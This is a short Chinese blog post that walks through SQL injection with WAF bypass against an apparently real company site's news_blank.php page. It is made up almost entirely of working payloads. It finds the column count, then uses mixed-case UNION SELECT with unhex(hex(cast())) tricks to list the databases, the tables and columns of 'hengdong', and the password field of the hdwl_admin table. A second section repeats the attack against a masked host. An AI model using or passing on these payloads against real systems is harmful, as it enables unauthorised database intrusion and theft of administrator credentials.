网站地址:
注入地址:
http://www.ghtcghtc.com/news_blank.php?id=35
- http://www.ghtcghtc.com/news_blank.php?id=36-1 判断出数值型
- http://www.ghtcghtc.com/news_blank.php?id=35 and 1=1 被拦截
- http://www.ghtcghtc.com/news_blank.php?id=35+and+1=1
- http://www.ghtcghtc.com/news_blank.php?id=35+and+1=2
- order by 判断为11个字段
- -35+union+select+1,2,3,4,5,6,7,8,9,10,11 4和8的位置
- -35+union+select+1,2,3,(database()),5,6,7,8,9,10,11
8.35+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(schema_name%20as%20char))),5,6,7,8,9,10,11%20from%20information_schema.schemata%20limit%202,1
HEX()函数:返回十六进制值的字符串表示形式
UNHEX() 函数: 每对十六进制数字转化为一个字符
CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。
9
+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(table_name as char))),5,6,7,8,9,10,11 from information_schema.tables where table_schema='hengdong' limit 0,1
- +UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(column_name as char))),5,6,7,8,9,10,11 from information_schema.columns where table_schema='hengdong' and table_name='hdwl_admin' limit 3,4
- +UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(pwd as char))),5,6,7,8,9,10,11 from hdwl_admin
其他解答:
http://xxx.com/news_blank.php?id=296 and 1=1
http://xxxxx.com/news_blank.php?id=296+and+1=1
http://xxxx.com/news_blank.php?id=296+and+1=2
http://xxxx.com/news_blank.php?id=296 order by 11 正确
http://xxxx.com/news_blank.php?id=296 order by 12 错误
http://xxxx.com/news_blank.php?id=296 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 拦截
http://xxxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,4,5,6,7,8,9,10,11--+
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,user(),5,6,7,version(),9,10,11--+
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(schema_name as char))),5,6,7,version(),9,10,11 from information_schema.schemata limit 1,2
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(table_name as char))),5,6,7,version(),9,10,11 from information_schema.tables where table_schema='hengdong' limit 0,1
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(column_name as char))),5,6,7,version(),9,10,11 from information_schema.columns where table_schema='hengdong' and table_name='hdwl_admin' limit 3,4
http://xxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(pwd as char))),5,6,7,version(),9,10,11 from hdwl_admin
标签:实战,11,WAF,blank,news,绕过,php,com,id From: https://www.cnblogs.com/zdytom/p/18522947